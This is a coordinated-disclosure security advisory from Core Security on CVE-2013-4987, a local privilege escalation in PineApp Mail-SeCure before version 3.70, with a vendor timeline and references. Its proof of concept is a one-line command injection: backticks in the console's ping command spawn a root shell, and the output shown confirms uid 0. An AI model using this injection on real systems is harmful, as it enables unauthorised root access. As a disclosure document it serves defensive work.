PineApp Mail-SeCure Access Control Failure

Advisory ID Internal
CORE-2013-0904

1. Advisory Information

Title: PinApp Mail-SeCure Access Control Failure
Advisory ID: CORE-2013-0904
Advisory URL: https://www.coresecurity.com/core-labs/advisories/pinapp-mail-secure-access-control-failure
Date published: 2013-10-02
Date of last update: 2013-10-02
Vendors contacted: PineApp Team
Release mode: Coordinated release

2. Vulnerability Information

Class: Access control failure [CWE-264]
Impact: Security bypass
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-4987

3. Vulnerability Description

A security vulnerability was discovered in PineApp [1] Mail-SeCure Suite [2], allowing a non-privileged attacker to get a root shell by sending a specially crafted command from the Mail-SeCure console. A valid user account is needed to launch the attack, so this is a privileged escalation vulnerability that can be exploited locally only.

4. Vulnerable Packages

  • All Mail-SeCure versions prior to 3.70.

5. Non-Vulnerable Packages

  • Mail-SeCure 3.70 (revision Sep. 2013).

6. Credits

This vulnerability was discovered and researched by John Petrusa from Core Security. This report was coordinated by Fernando Miranda from Core Advisories Team.

7. Technical Description / Proof of Concept Code

Open a Mail-SeCure console as pinapp user and execute the following command:

pa_cli> system ping `/bin/sh>/dev/tty`

As a result, you should be the super-user:

sh-3.00# id uid=0(root) gid=0(root) groups=0(root)

8. Report Timeline

  • 2013-09-03: Core Security Technologies attempts to contact vendor using the PinApp official contact page [3]. No reply received. Publication date is set for Sep 25th, 2013.
  • 2013-09-09: Core attempts to contact vendor.
  • 2013-09-10: Vendor acknowledges Core's e-mail, and asks for a technical description of the vulnerability.
  • 2013-09-10: Technical details sent to the vendor.
  • 2013-09-16: Core asks for a status update.
  • 2013-09-17: Vendor notifies that they have a fix that will be included in the next revision update.
  • 2013-09-19: Vendor notifies that they will probably release the patch next week.
  • 2013-09-30: Core asks if there is a patch available.
  • 2013-10-01: Vendor notifies that they have released a global update to all Mail-SeCure units worldwide to block the vulnerability.
  • 2013-10-02: Advisory CORE-2013-0904 published.

9. References

[1] http://www.pineapp.com.
[2] http://www2.pineapp.com/products/1/email-security.
[3] PinApp official contact page http://www2.pineapp.com/contact.

10. About CoreLabs

CoreLabs, the research center of Core Security, A Fortra Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible. CoreLabs regularly publishes security advisories, technical papers, project information, and shared software tools for public use at https://www.coresecurity.com/core-labs.  

11. About Core Security, A Fortra Company

Core Security, a Fortra Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. Learn more at www.coresecurity.com.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or [email protected].

12. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

13. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security advisories team.